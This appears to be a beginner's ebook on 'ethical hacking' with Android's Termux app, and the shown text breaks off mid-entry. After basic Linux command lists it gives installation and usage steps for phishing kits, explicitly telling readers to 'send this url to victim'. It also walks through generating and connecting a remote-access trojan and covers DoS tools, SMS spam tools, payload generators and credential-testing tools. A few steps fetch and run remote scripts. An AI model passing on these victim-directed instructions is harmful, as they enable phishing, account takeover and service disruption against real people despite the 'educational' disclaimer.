



Ethical Hacking With Android; Termux

Author Vaibhav Mishra Prime

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About The Author

My Name is Vaibhav Mishra. I have basic knowledge of Ethical Hacking and Cyber Security. This is my first book. This book is for educational purpose only.

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Chapter 01

Q: How to Start hacking with Android?

Ans: Download Termux From Play Store and start Hacking with termux.

Q: What is termux?

Ans: Termux is a terminal emulator plus Linux environment, that allows us to use the Linux environment on our android within few clicks.

According to Wikipedia," Termux is an Android terminal emulator and linux environment application that works directly with no rooting or setup required. A minimal base system is installed automatically, additional packages are available using the APT package manager."

Q: What is the use of termux?

Ans: Termux is a linux terminal Emulator application for android. A terminal emulator is a program that allows the user to access the command line

interface in a graphical environment. If you have studied the basic of computer, you must know about the shell and command line interface.

Q: Does Termux Useful For Hacking?

Ans: My Answer Is Yes. You can use Termux for Hacking, you can use some popular Hacking Tools in Termux.

Q: Does Termux Requires Root Permissions?

Ans: Not at All, Root is Not Necessary To Use Termux, if - You Have Root then you can do some advanced stuff, if you don't have root then nothing to worry still you can do the same stuff.

Q: Can i Became a Hacker by Using Termux App?

Ans: Apps / Tools doesn't Made Hackers, Hackers Made Tools. Perhaps you won't Be a Hacker unless you have the knowledge.

Q: Is Termux Useful for Programmers?

Ans: Of Course It will be Helpful but limited.

Q: Can i use Termux To Hack Websites?

Ans: My Answer is Yes, You Can use Termux to Hack Websites with the help of sqlmap an other hacking tools.

Q: Can i Hack Facebook, Gmail, Instagram using Termux?

Ans: Yes You Can, Only If You Know Which Tool You Should use.

Termux Basic Commands

Install package: `pkg install [package name]`

Remove package: `pkg uninstall [package name]`

List all packages: `pkg list-all`

Upgrading packages: `pkg upgrade`

Date : Date command is used to display current date and time of your system.

cal : cal command is also known as calendar command it will display calendar

clear : clear command is used to clear the screen.

whoami : this command is used for display the name of current logged in user

ls : ls command is known as listing command it is used to display all the files and directory of current directory

cd : cd is known as change directory it is used to change the current director

pwd : pwd is used to display the path of current director

cat : cat is used to read a file, create a new file and more

mkdir : it is used to make a new directory

rmdir : it is used to remove a directory

ifconfig: (configuration of all network interface / some information about network

history: previous command

pkg install sl: check whether termux is properly installed

termux-setup-storage: Grant storage permission

`cd storage`: move forward in directories

`mkdir folder name`: create a folder or a directory

`cp -r`: Used to copy any directory [including hidden files]

`cp -f`: Force copy by removing the destination files if needed

File Commands

ls - List current directory

ls -i: Display Inode number of File or Directory

ls -R: Shows recursively list of Sub-Directories

ls -l: Shows file or directory, size, modified date and time, file or folder name and owner of file and it's permission

ls -lh: Shows sizes in human readable format

ls -al: Formatted listing with hidden files

cd dir: Changed directory to dir

pwd: Show current directory

mkdir dir: Create a dir on your current directory

`rm dir`: Delete the dir

`rm -r file`: Delete the file

`rm -f file`: Force remove file

`rm *`: Delete all file in your current directory

`rm a*`: Delete all starting with a file

`rm bet*as`: Delete starting with as and ending with bet files

`cp fileA fileB`: Copy fileA to fileB

`cp -r dir1 dir2`: Copy dir1 to dir2. If there isn't dir2 it create a dir2

`mv dir1 dir2`: Move dir1 to dir2

`ls -s file link`: Create sembolic link for file

`touch file`- Create a file or update file

`cat>file`- Write input to in file

`more file`- Get informatin abouth file

head file- Get first 10 line of file

less text- Return content of text

comm fileA fileB- Compare fileA with
fileB

Search Commands

locate fileA: Index other files in the directory where the file is located

find / -name foo: Search with given name of file

find /home -iname file.txt: Find name is file.txt files in home directory

find / -type d -name file: Find all file files

find . -type f -name *.php: Find all .php file in file

find . -type f -perm 0777 -print: Find all permission 777 files

find ~ -empty: Find all empty file

find / -atime 50: Find changed files in 50 days

`find / -cmin -60`: Find changed files in 1 hour

`find / -mmin -60`: Find modified files in 1 hour

`find / -size +50M -size -100M`: Find between 500M and 100M files

`lsattr`: Find unalterable files in system

`find -perm -4000`: Find has suid_bites file

Archive Commands

bzip filename: Compress or unzip the bzip file

tar cf file.tar file: Convert file to file.tar

tar xf file.tar: Unzip file.tar

tar czf file.tar.gz file: Convert file to file.tar.gz

tar xzf file.tar.gz: Unzip file.tar.gz

tar cjf file.tar.bz2: Create a file.tar.bz2 with Bzip2

tar xjf file.tar.bz2: Unzip file.tar.bz2

gzip file: Convert file to file.gzip

gzip -d file.gz: Unzip file.gz

FTP Commands

ftp: Enter ftp client

-p: Use passive mode

-i: Shutdown request on multi transfer.

-v: Verbose mode

-d: Active Debugging

\$: Run makro

account[password]: Provides password with remote control

ascii: Setting ascii protocol the transfer file

binary: Support transfer of Images

bye: Out the FTP

dir: Show your current files

open Host: Open connect to host

status: Show status of server

Network Commands

arp: Control your network card and show your ip

ifconfig: Show network interface

ping host: Send ping to address of host

whois domain: Get information of domain

dig domain: Get dns information of domain

wget adress: Download the information of adress

wget -c adress: Continue the download

netstat: Look connect of network and open the sockets

Permission Commands

`chmod +r file`: Give read permission to file

`chmod +w file`: Give write permission to file

`chmod u+rw file`: Give writer and read permission to file

`chmod a-x file`: Remove the permission of all user for file

`chmod +x file`: Give run permission to file

`chattr +i file`: It's make file to unalterable file

`chmod a+r file`: Give read permission to file for All user

System Commands

date: Show date

date;who: Show date and user

sudo command: Run command with root

sudo su: Change the mode on terminal

cal: Show calendar

uptime: Show time of your system

whoami: Show your login account

fingure userName: Show information of
userName

cat /proc/cpuinfo: Show CPU information

cat /proc/meminfo: Show memory
information

df: Show disk usage

free: Show memory and swap area

whereis application: Show directory of application

which application: Show default application

ps aux: Show running application on your system

kill application: Shutdown the application

sensors: Show temperature of CPU

uname -letter: -m Show your system hardware.

-n Write Nodename. Nodename has usage for network communication.

-r Show kernel's release

-s Write name of system

-v Write name of OS

-a Write all information of up

alias: Create a shortcut for

dd: Usage for content of disk

shutdown: shutdown the system

apropos: Search a word in man's pages

chfn: Change information of finger

chgrp: Change group

clear: Clear the terminal

continue: continue the commands

deluser userName: Delete the userName

delgroup group: Delete the group

groupadd group: Create a new group

halt: Stop the system

help: Get help

lsb_release -a: Show information of distribution

dmidecode:Get data of system(bios,memory,cache etc).

Exp demicode –type bios, demicode –type memory

free -m: Show quantity of memory

history: Show used terminal commands

passwd : Change the password of
userName

usermod -L: Lock the userName account

usermod -U: Re-active the userName

chage -E date(12.02.2022): Used to
specify the user account's password
expiration time.

echo \$SHELL: Used to view the shell
program used on your system.

Git Commands

git config –global user.name "User name": Determines default userName for git

git config –global email "mail adress": Determines default mail for git

git log: Show all changes on local report

git status: Show changes on log file

git clone repoAdress: Copy the repo to current path

git clone userName@host:"/patch/repo ": Copy repo to your current file

git add fileName: Add your file to index

git add *: Add all file to index

git commit -m " commit " : Add commit to index file

`git push origin master`: Push your files to repo

`git checkout -b branchName`: Create new a branch

`git checkout master`: Return to master branch

`git branch -d branch`: Delete the branch

`git push origin branch`: Your changes push to your branch

`git pull`: Get last changes

`git merge branchName`: Merge branch other branch

Apt Commands

apt-get update: Update your packages

apt-get upgrade: upgrade your all package

apt-get dist-upgrade: Upgrade your Debian version to last version

apt-get install package_name: Install the package

apt-get install package1 package2
package3 package4 package5
package6 . . . : Install multipackage

sudo apt-get purge package_name:
Remove package with dependency

apt-get remove packageName: Remove the package

apt-get autoremove: Remove old packages

`apt-get -f install`: It tries to repair faulty packages

`dpkg -i package.deb`: Install package.deb

`sudo apt-cache show package_name`: Give information of abouth package

`apt-get help`: Get information about help

Termux Hacking Tools

01: Phishing Tools

Shellphish

Phishing Tool for 18 social media:
Instagram, Facebook, Snapchat, Github,
Twitter, Yahoo, Protonmail, Spotify,
Netflix, Linkedin, Wordpress, Origin,
Steam, Microsoft, InstaFollowers, Gitlab,
Pinterest

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ git clone https://github.com/  
thelinuxchoice/shellphish  
$ cd shellphish
```

Run :

```
$ bash shellphish.sh
```

> select your option

it will generates phishing url ..Now send
this url to victim for phishing.....

Note : During all these process you have
to open your hotspot.....

SocialFish

socialFish ultimate phishing tool such as Twitter, stackoverflow, wordpress, github, Google, facebook.....

Installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/  
UndeadSec/SocialFish.git  
$ cd SocialFish  
$ chmod +x *  
$ pip2 install -r requirements.txt
```

usage :

```
$ python2 SocialFish.py
```

Now select your target and it will generate an url using Ngrok then it send to victim...

Note : During all these process you have to open your hotspot.....

BlackEye

The most complete Phishing Tool, with
32 templates +1 customizable
Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install curl  
$ git clone https://github.com/  
thelinuxchoice/blackeye  
$ cd blackeye  
$ chmod +x *
```

Run :

```
$ bash blackeye.sh
```

Now select your option it will generate an
url for phishing...

Note : During all these process you have
to open your hotspot.....

Weeman

Weeman is a phishing tool

Installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/evait-  
security/weeman  
$ cd weeman  
$ chmod +x *
```

usage :

```
$ python2 weeman.py  
$ set url http://target.com  
$ set action_url http://target.com  
$ run
```

Note : During all these process you have to open your hotspot.....

02: Information Gathering

Red Hawk Information Gathering

Red Hawk = All in one tool for Information Gathering and Vulnerability Scanning

Scans That You Can Perform Using RED HAWK Basic ScanWhois Lookup, Geo-IP Lookup, Grab Banners, DNS Lookup, Subnet Calculator, Nmap Port Scan, Sub-Domain Scanner, Reverse IP Lookup & CMS Detection, Error Based SQLi Scanner, Bloggers View, WordPress Scan, Crawler, MX Lookup, Scan For Everything..

Insatallation :

```
$ apt update && apt upgrade  
$ apt install git◆◆  
$ apt install php  
$ git clone https://github.com/  
Tuhinshubhra/RED_HAWK  
$ RED_HAWK  
$ chmod +x *
```

Usage :

```
$ php rhawk.php
```

Use the "help" command to see the command list

type in the domain name you want to scan (without Http:// ORHttps://).

Select whether The Site Runs On HTTPS or not.

Select the type of scan you want to perform

Leave the rest to the scanner

D-Tect

D-TECT is an All-In-One Tool for Penetration Testing. This is specially programmed for Penetration Testers and Security Researchers to make their job easier, instead of launching different tools for performing different task. D-TECT provides multiple features and detection features which gather target information and finds different flaws in it.

Features:

Sub-domain Scanning, Port Scanning, Wordpress Scanning, Wordpress Username Enumeration, Wordpress Backup Grabbing, Sensitive File Detection, Same-Site Scripting Scanning, Click Jacking Detection, Powerful XSS vulnerability scanning, SQL Injection vulnerability scanning, User-Friendly UI.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2
```

```
$ git clone https://github.com/  
shawarkhanethicalhacker/D-TECT  
$ cd D-TECT  
$ chmod +x *  
$ pip2 install requests  
usage :  
$ python2 d-tect.py  
Now select your options to use that  
particular tool..
```

Termux Lazy Script

This tool is specially Designed for Termux Beginner users.

This tool is very helpfull for Beginners.
here simply type number of tool to use
after usage press enter to launch again
Termux-Lazyscript.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/  
TechnicalMujeeb/Termux-Lazyscript.git
```

```
$ cd Termux-Lazyscript  
$ chmod +x *  
$ sh setup.sh
```

usage :

python2 ls.py

now here simply type number to use that
tool Enjoy.

Pureblood Framework

A Penetration Testing Framework created for Hackers / Pentester / Bug Hunter
Web Pentest, Information Gathering, Banner Grab, Whois, Tracerouter, DNS Record, Reverse DNS Lookup, Zone Transfer Lookup, Port Scan, Admin Panel Scan, Subdomain Scan, CMS Identify, Reverse IP Lookup, Subnet Lookup, Extract Page Links, Directory Fuzz (NEW), File Fuzz (NEW), Shodan Search (NEW), Shodan Host Lookup (NEW), Web Application Attack: (NEW), Wordpress, Auto SQL Injection.

Generator: Deface Page, Password Generator, Text To Hash

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/cr4shcod3/pureblood  
$ cd pureblood  
$ chmod +x *
```

```
$ pip install -r requirements.txt
```

Run :

```
$ python2 pureblood.py
```

Now select your option, this tool will
guide you...

ReconDog Tool

Recon Dog is an all in one tool for all your basic information gathering needs. It uses APIs to gather all the information so your identity is not exposed.

Installaion :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/  
UltimateHackers/ReconDog
```

```
$ cd ReconDog  
$ chmod +x *
```

usage :

```
python2 dog.py
```

Now select your option which you want..

Crips IP Tool

Crips IP Tools : This Tools is a collection of online IP Tools that can be used to quickly get information about IP Address's, Web Pages and DNS records.

Menu : Whois lookup, Traceroute, DNS Lookup, Reverse DNS Lookup, GeolP Lookup, Port Scan, Reverse IP Lookup

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/Manisso/Crips
```

```
$ cd Crips
```

```
$ chmod +x *
```

```
$ ./install.sh
```

Run :

```
$ python2 crips.py
```

Now select your option, this tool can guide you easily..

EvilUrl IDN Homograph

evilurl used to generate an unicode domain url for phishing. For idn homograph attack.

install Evil-URI

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/  
UndeadSec/EvilURL.git
```

```
$ cd EvilURL
```

```
$ chmod +x *
```

```
$ ls
```

```
$ python3 evilurl.py
```

select option 1 to generate

Type domain name like site.com it will generate unicode url for phishing.

if you want to detect any url if that one is phishing url then run this tool.

```
python3 evilurl.py
```

select oprion 2

here paste that url it detects if that url is unicode or for phishing.. that's it..

Lazymux Tool

Lazymux is python based tool in this tool and collection of tools for termux users. You guys can install some tools by typing number in easiest way this tool is specially for lazy peoples..

installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/  
Gameye98/Lazymux
```

```
$ cd Lazymux  
$ chmod +X *
```

usage :

```
$ python2 lazymux.py
```

Now simply type the number of tool to install that particular tool in termux.

Tool-X Kali Linux Tool

Tool-x is a tool for Termux users we can install some kali linux tools with this tool follow these steps to install this tool in Termux.

Installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ git clone https://github.com/  
Rajkumrdusad/Tool-  
$ cd Tool-X  
$ chmod +x *  
$ sh install.aex
```

usage :

To run this tool type

```
$ Tool-X
```

Now select or type number to install any tool.

Angry Fuzzer

AngryFuzzer = Tools for information gathering

Discover hidden files and directories on a web server.

The application tries to find url relative paths of the given website by comparing them with a given set Features

Fuzz url set from an input file, Concurrent relative path search, Configurable number of fuzzing workers, Fuzz CMS ==> Wordpress,Durpal,Joomla, Generate reports of the valid paths

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/ihebski/  
angryFuzzer
```

```
$ cd angryFuzzer
```

```
$ pip2 install -r requirements.txt
```

```
$ pip2 install requests
```

```
$ chmod +x *
```

Usage :

\$ python2 angryFuzzer.py -h

It shows all options of this tool

\$ python2 angryFuzzer.py -u http:site.com

Now it starts collecting target
information...

The Choice

TheChoice is a collection of 14 hacker tools from @thelinuxchoice
Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ git clone https://github.com/  
thelinuxchoice/thechoice
```

```
$ cd thechoice  
$ chmod +x *
```

usage :

```
$ ./thechoice
```

Now select your option and use it..

User Recon

Find usernames across over 75 social networks This is useful if you are running an investigation to determine the usage of the same username on different social networks.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ git clone https://github.com/  
thelinuxchoice/userrecon
```

```
$ cd userrecon
```

```
$ chmod +X *
```

usage :

```
$ ./userrecon.sh
```

```
[?] Input username : (Here user name to  
find)
```

IPGEOLOCATION-TRACEIP

Retrieve IP Geolocation information
Features

Retrieve IP or Domain Geolocation,
Retrieve your own IP Geolocation,
Retrieve Geolocation for IPs or Domains
loaded from file, Each target in new line.
Define your own custom User Agent
string. Select random User-Agent strings
from file. Each User Agent string in new
line.

Proxy support.

Select random proxy from file. Each proxy
URL in new line.

Open IP geolocation in Google Maps
using the default browser.

Export results to csv, xml and txt format.

Geolocation Information :

- 1.ASN
- 2.City
- 3.Country
- 4.Country Code
- 5.ISP
- 6.Latitude
- 7.Longtitude

8.Organization

9.Region Code

10.Region Name

11.Timezone

12.Zip Code

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python
```

```
$ git clone https://github.com/maldevel/
```

IPGeoLocation

```
$ cd IPGeoLocation
```

```
$ chmod +x *
```

```
$ pip install -r requirements.txt
```

Usage :

```
$ python ipgeolocation.py -t [target ip]
```

it gives you all information related to your target..

Infoga-Collect Email-Information

Infoga is a tool gathering email accounts informations (ip,hostname,country,...) from different public source (search engines, pgp key servers and shodan) and check if emails was leaked using hacked-emails API.

Is a really simple tool, but very effective for the early stages of a penetration test or just to know the visibility of your company in the Internet.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/m4ll0k/  
Infoga
```

```
$ cd Infoga  
$ chmod +x *  
$ pip2 install requests
```

usage :

```
$ python2 infoga.py
```

Now it shows all options to use this tool

```
$ python2 infoga.py -t gmail.com -s all
```

Now its started collecting emails

and e-mails information
[hostname, city, organization, longitude
and latitude ports..]

03: Vulnerability Analysis

Owscan

Scan your website for vulnerabilities. Find website application vulnerabilities and fingerprint the target web application.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install php  
$ git clone https://github.com/  
Gameye98/OWScan
```

```
$ cd OWScan  
$ chmod +x *
```

usage :

```
$ php owscan.php
```

Enter target site for example :
example.com .it gives you information
related to your target site

Cms map Vul scanner

cms map is a tool used to find the vulnerabilities of websites such as joomla,dripal,wordpress with the help of this tool we can scan our site vulnerabilities and fix it, and stay safe and secure.

Execute these commands one by one to install.

Installation :

\$ apt update

\$ apt upgrade

\$ apt install git

\$ apt install python2

\$ git clone https://github.com/Dionach/CMSmap.git

\$ cd CMSmap

\$ chmod +x *

usage :

\$ python2 cmsmap.py -h

[it shows all options how we can use this tool]

Click-Jacking Scanner

click jacking scanner..

this script scans target site is vulnerable
for this attack

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/D4Vinci/  
Clickjacking-Tester
```

```
$ cd Clickjacking-Tester
```

```
$ chmod +x *
```

Now create here file.txt file, in this file
paste victim website and save it

usage :

```
$ python3 Clickjacking-Tester.py file.txt
```

Now it starts scanning if target is
vulnerable then it shows you.....

Tm Scanner

TM-scanner is simple python script.This tool for detecting vulnerabilities in websites

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/  
TechnicalMujeeb/TM-scanner  
$ cd TM-scanner  
$ chmod +x *  
$ sh install.sh
```

usage :

```
$ python2 tmscanner.py  
select your option and enter target site  
[example.com]
```

Androbug Framework

Androbug framework is used to check the android apps vulnerabilities to find bugs in android application.

Execute these commands one by one to install.

Installation :

\$ apt update

\$ apt upgrade

\$ apt install git

\$ apt install python2

\$ git clone https://github.com/

AndroBugs/AndroBugs_Framework

\$ cd AndroBugs_Framework

\$ chmod +x *

usage :

Now move your app to
AndroBugs_Framework folder
for example :

mv app.apk /\$HOME/
AndroBugs_Framework/

\$ python2 androbugs.py -f app.apk -o
result.txt

above command is used to check app
bugs..

app.apk = is your app name
result.txt = to store all information
It shows all bugs and vulnerabilities of
your app
that's it

Sqliscan

Sqliscan by dork :

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install curl
```

```
$ git clone https://github.com/  
thelinuxchoice/sqliscan
```

```
$ cd sqliscan
```

```
$ chmod +x *
```

usage :

```
$ ./sqliscan.sh
```

Now enter your dorks it will start collecting all vulnerable sites related to your dork and also these sites saved in saved.txt file.

Commix

Automated All-in-One OS command injection and exploitation tool can be used from web developers, penetration testers or even security researchers in order to test web-based applications with the view to find bugs, errors or vulnerabilities related to command injection attacks.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/  
commixproject/commix  
$ cd commix  
$ chmod +x *
```

usage :

```
$ python2 commix.py
```

Now it shows how you can use this too..

```
$ python2 commix.py -h
```

it shows all options...

```
$ python2 commix.py -u site.com
```

it shows all information....

Wpseku Tool

wpseku = wordpress security scanner
we can find vulnerabilities in wordpress sites

this is very usefull tool

installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/m4110k/WPSeku
```

```
$ cd WPSeku
```

```
$ chmod +x *
```

```
$ pip install -r requirements.txt
```

usage :

```
python wpseku.py
```

here all options are present to use this tool

example :

```
$ python wpseku.py –url http:target.com
```

Routersploit Framework

RouterSploit Framework = scan the routers devices and check the vulnerabilities of Routers/Devices and exploits by the using frameworks. it consists of many more powerful modules for penetration testing operations.

RouterSploit installation:

Execute these commands one by one.

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install python
```

```
$ apt install python2
```

```
$ git clone https://github.com/reverse-shell/routersploit.git
```

```
$ cd routersploit
```

Now install These all packages step by step :

```
$ pip2 install -r requirements-dev.txt
```

```
$ pip2 install -r requirements.txt
```

```
$ pip2 install requests
```

```
$ pip2 install requests
```

Run routersploit:

```
python2 rsf.py
```

rsf> show all

it's shows all modules of rotersploit

rsf> use "module name"

it shows how you can use that module....

Creadmap- Cheak Login Emails

Credmap is an open source tool that was created to bring awareness to the dangers of credential reuse. It is capable of testing supplied user credentials on several known websites to test if the password has been reused on any of these.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/lightos/  
credmap
```

```
$ cd credmap  
$ chmod +x *
```

usage :

```
$ python2 credmap.py -h
```

It shows all options to use this tool

```
$ python2 credmap.py --username king –  
email king56@email.com
```

king = is username of email

king56@email.com = this is email to
check

Nikto Web Server Scanner

Nikto web server scanner and a web server assessment tool. It is designed to find various default and insecure files, configurations and programs on any type of web server installation:

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install perl
```

```
$ git clone https://github.com/sullo/nikto
```

```
$ cd nikto
```

```
$ chmod +x *
```

usage :

```
perl nikto.pl -H
```

it shows all options how you can use this tool

04: Exploitation Tools

Cmseek suit

CMS Detection and Exploitation suite -
Scan WordPress, Joomla, Drupal and 100 other CMSs

Functions Of CMSeek :

Basic CMS Detection of over 80 CMS

Drupal version detection

Advanced Wordpress Scans

Detects Version

User Enumeration

Plugins Enumeration

Theme Enumeration

Detects Users (3 Detection Methods)

Looks for Version Vulnerabilities and much more!

Advanced Joomla Scans

Version detection

Backup files finder

Admin page finder

Core vulnerability detection

Directory listing check

Config leak detection

Various other checks
Modular bruteforce system
Use pre made bruteforce modules or
create your own and integrate with it
Installation :
\$ apt update && apt upgrade
\$ apt install git
\$ apt install python2
\$ apt install python
\$ git clone https://github.com/
Tuhinshubhra/CMSeeK
\$ cd CMSeeK
\$ chmod +x *
Run :
\$ python cmseek.py
here select your option and use..

Zarp-Local Network Tool

zarp works in rooted mobiles. This is local network exploit tool. Execute these commands one by one to install sudo. first you must install sudo in termux

Installation :

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install git
```

```
apt install python2
```

```
$ git clone https://github.com/hatRiot/zarp
```

```
$ cd zarp
```

```
chmod +x zarp.py
```

Run :

```
sudo python2 zarp.py
```

Tm- Venom

Tmvenom is a python based tool specially designed for Termux users. This payload generates some basic payloads using metasploit-framework. so You must install metasploit framework on your Termux. This tool works both rooted and non rooted devices. This is very helpfull for beginners. This tool also guide you to generate payloads easily.

Requirments:-

Termux APP
metasploit-framework

Installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/  
TechnicalMujeeb/tmvenom  
$ cd tmvenom  
$ chmod +x *  
$ sh install.sh  
usage :  
python2 tmvenom.py
```

Metasploit Framework

If you wish to install the metasploit-framework all by itself

You can use a shell script to install it.
remember dont turn off your internet connection

follow these steps :

1. uninstall termux app
2. Newly install Termux app
3. open Termux app
4. run these commands

\$ apt update

\$ apt upgrade

\$ apt install wget

5. clone metasploit with this command

\$ wget https://Auxilus.github.io/metasploit.sh

\$ bash metasploit.sh

This script will install the latest version of metasploit-framework.

script also include some extras to make updating metasploit faster.

If all goes well, i.e. No red colored warnings,

you can start metasploit using ./msfconsole.

Now take a coffee and sit down and wait 15-20 minutes

to install metasploit in termux
after installation type this command :
\$ cd metasploit-framework

Now run msfconsole

\$./msfconsole

Enjoy metasploit....

A-Rat Exploit

A-Rat = Remote access tool we can generate python based rat installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/Xi4u7/A-Rat
```

```
$ cd A-Rat  
$ chmod +x *
```

usage :

```
$ python2 A-Rat.py  
$ help  
$ set host 127.0.0.1 [your ip]  
$ set port 1337  
$ set output /$HOME/rat.py  
$ generate
```

It generates rat.py in termux home directory

Open termux new session
type \$ ls
here you get that rat.py

go to again A-Rat means previous session of termux

Type run to start exploit.

\$ run

and then open new session and run rat like this

\$ python rat.py

and come back to A-Rat session

Now its connected to that rat. means Hacked.

press control + c to stop.

Hulk (Dos Tool)

HULK DoS tool ported to Go with some additional features.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/grafov/  
hulk
```

```
$ cd hulk  
$ chmod +x *
```

usage :

```
$ python2 hulk.py [url]
```

Golden Eye (Dos Tool)

GoldenEye is an python app for
SECURITY TESTING PURPOSES ONLY!

GoldenEye is a HTTP DoS Test Tool.

Attack Vector exploited: HTTP Keep Alive
+ NoCache

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ git clone https://github.com/jseidl/
```

GoldenEye

```
$ cd GoldenEye
```

```
$ chmod +x *
```

Run :

```
$ python2 goldeneye.py [url]
```

Brutal

Brutal = this is a toolkit to quickly create various payload, powershell attack, virus attack.and launch listener for a human interface devices..this is extreamly useful for executing scripts on a target machin..

for use this tool you must install sudo in your termux means it need rooted devices..

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/Screetsec/  
Brutal
```

```
$ cd Brutal
```

```
$ chmod +x *
```

Run :

```
$ sudo ./Brutal.sh
```

Now simply select your option which you want.

05: Notcatagorized

Darkfly Tool

DarkFly-Tool is an installation tool for installing tools. This tool makes it easy for you. so you don't need to type git clone or look for the github repository. You only have to choose the number. which tool you want to install. there are 530 tools ready for intall and for those of you who like to have fun. there are 7 SMS spam tools that are ready to use, you just need to choose spam to use the target number. there is a tocopedia DLL, and yesterday the DarkFly tool only supports termux. now it supports Linux OS and can be installed on ubuntu and termux, even though I only combine it. At least I can satisfy and make it easier for all of you :) Good Installation :
\$ apt update && apt upgrade
\$ apt install git

```
$ git clone https://github.com/  
Ranginang67/DarkFly-Tool
```

```
$ cd DarkFly-Tool
```

```
$ chmod +x *
```

```
$ sh install
```

Run :

```
$ DarkFly
```

Now select your option, it will install
your selected tool ..

Check Url

check url = Detect evil urls that uses IDN Homograph Attack.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/  
UndeadSec/checkURL  
$ cd checkURL
```

```
$ chmod +x *
```

usage :

Now run with python3 type this command :

```
$ python3 checkURL.py --help
```

It shows all options..

```
$ python3 checkURL.py --url [attackerurl]  
attacker url = attacker url to check this  
is idn evil url or original url
```

Apache2 HTTP Server

first update and update Termux .

\$ apt update

\$ apt upgrade

Now install apache2

\$ apt install apache2

apache2 path =/data/data/com.termux/files/usr/share/apache2/default-site/htdocs/

for Example i have a file read.txt now you must move this file to apache2 path then type this command :

\$ mv read.txt /data/data/com.termux/files/usr/share/apache2/default-site/htdocs/

Now start apache2 service with this command :

\$ apachectl

Now opn browser and type :

localhost:8080

It shows IT WORKS !

Now access read.txt file with browser then type this command:

localhost:8080/read.txt

If you want to stop apache2 service then close termux application it will stop.
That's it.

Hash Cracker

Hash cracker with auto detect hash in termux.

Hasher is a hash cracker tool that has supported more than 7 types of hashes.
support :

md4

md5

sha1

sha224

sha256

sha384

sha512

ripemd160

whirlpool

Execute these commands one by one to install.

Installation :

\$ apt update

\$ apt upgrade

\$ apt install git

\$ apt install python

\$ apt install python2

\$ git clone https://github.com/ciku370/hasher

cd hasher

Run :

python2 hash.py

simply paste hashes. {hit enter}

it ask the type of hash . then select your type of hash to Decrypt it.

Sudo Superuser

Sudo works on only rooted devices. sudo means superuser & root command. we can run root tools in termux using sudo. Execute these commands one by one to install sudo.

Installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install tsu  
$ apt install ncurses-utils  
$ git clone https://github.com/termux-sudo  
$ cd termux-sudo  
$ cat sudo > /data/data/com.termux/files/usr/bin/sudo  
$ chmod 700 /data/data/com.termux/files/usr/bin/sudo  
sudo su  
sudo tsu  
Now you are a root user....
```

Wordlist Generate

Generateing wordlist using python.
Execute these commands one by one to install sudo.

Installation :

\$ apt update

\$ apt upgrade

\$ apt install python

\$ pip install wordlist

\$ wordlist -h [to see all options]

\$ wordlist -m 4 -M 6 -o wordlist.txt

12345678

-m = minimum length

-M = maximum length

wordlist.txt = to save all words

12345678 = here you can type alphabets also to make wordlist.

type this command : \$ ls

here you get that file

name : wordlist.txt

now open this file type this command :

\$ cat wordlist.txt

here you get all words means passwords list

Speak Engine

with this script you guys can perform termux as speak engine
first you need to install these apps

- 1] Termux App
- 2] Termux API App

Now open Termux and follow these steps to install speak-Engine

installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/  
TechnicalMujeeb/Termux-speak  
$ cd Termux-speak
```

```
$ chmod +x *  
$ sh install.sh
```

usage :

```
python2 t-speak.py  
select option 2
```

Enter Your Text to speak.

Enter pitch number

Enter rate number

Then it will speak that texts..

Gloom Framework

Gloom-Framework = Linux Penetration Testing Framework

Execute these commands one by one to install this tool.

works in rooted devices

Remember you have must installed sudo in Termux

after installation of sudo follow these steps

Installation :

```
